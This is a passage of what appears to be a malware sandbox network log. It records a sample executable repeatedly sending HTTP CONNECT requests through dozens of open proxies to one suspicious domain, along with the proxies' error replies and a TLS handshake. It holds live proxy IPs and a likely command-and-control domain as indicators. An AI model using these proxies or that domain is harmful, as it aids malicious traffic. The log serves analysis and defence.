20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50371	44.226.167.102	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.257987022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.064157009 CET	65	IN	HTTP/1.1 200 Connection Established Content-Type: text/plain

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50309	183.100.14.134	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.263391972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.881094933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.849989891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.490976095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.893210888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.169954062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.537693977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.147252083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50263	45.117.179.179	55606	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.263739109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.974984884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.037539005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49935	199.102.107.145	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.269578934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50349	91.202.230.219	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.270549059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50410	74.119.147.209	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.271419048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50274	202.162.219.12	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.276185036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50432	23.95.216.90	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.279874086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	50409	45.43.84.163	6788	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.280687094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.739905119 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	50401	141.94.174.6	6438	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.289783955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	50435	172.93.111.87	49397	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.292298079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.678020954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.063678026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.850069046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.490957975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.037657022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.612548113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.716569901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	50386	81.169.187.194	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.300424099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.493988037 CET	499	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 23 Feb 2024 08:45:16 GMT Server: Apache Allow: POST,OPTIONS,HEAD,GET Content-Length: 315 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for this URL.</p><hr><address>Apache Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	50425	18.135.133.116	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.301192045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.025652885 CET	65	IN	HTTP/1.1 200 Connection Established Content-Type: text/plain
Feb 23, 2024 09:45:19.195125103 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 5b 1e bb e8 47 d1 e7 52 13 70 0b b0 e1 4a 6a 16 b6 dd 51 db a1 2d 0c ee eb 97 87 c3 13 e9 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[GRpJjQ-*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49798	72.195.114.169	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.304627895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.349904060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	50331	211.222.252.187	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.322741985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	50440	157.185.161.100	26589	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.340415001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	50449	104.19.85.214	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.342904091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.430437088 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	50430	20.111.54.16	8123	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.343105078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.503427982 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	50464	172.67.200.220	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.358428955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.446367979 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	50465	185.162.229.70	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.358818054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.446465015 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	50501	43.153.64.66	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.367453098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	50502	43.153.64.66	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.369812965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	50503	43.153.64.66	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.371423006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	50504	43.153.64.66	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.372992039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	50436	208.87.131.151	26939	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.375382900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	50358	203.222.24.36	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.401190042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.733129025 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	50355	13.229.47.109	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.421205044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.763205051 CET	223	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 08:43:04 GMT Content-Type: text/plain; charset=utf-8 Connection: close Content-Length: 12 X-Kong-Response-Latency: -8.392333984375e-05 Server: kong/2.8.1 Data Raw: 42 61 64 20 72 65 71 75 65 73 74 0a Data Ascii: Bad request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	50455	184.181.217.201	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.423247099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	49819	167.86.69.142	46859	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.443068027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.490957975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.612484932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.716526031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.834578037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:52.834280014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:04.834522009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	50396	106.14.255.124	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.454449892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.796132088 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	49844	89.161.90.203	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.470397949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	49851	24.249.199.4	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.477750063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	50471	185.49.31.207	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.477813959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

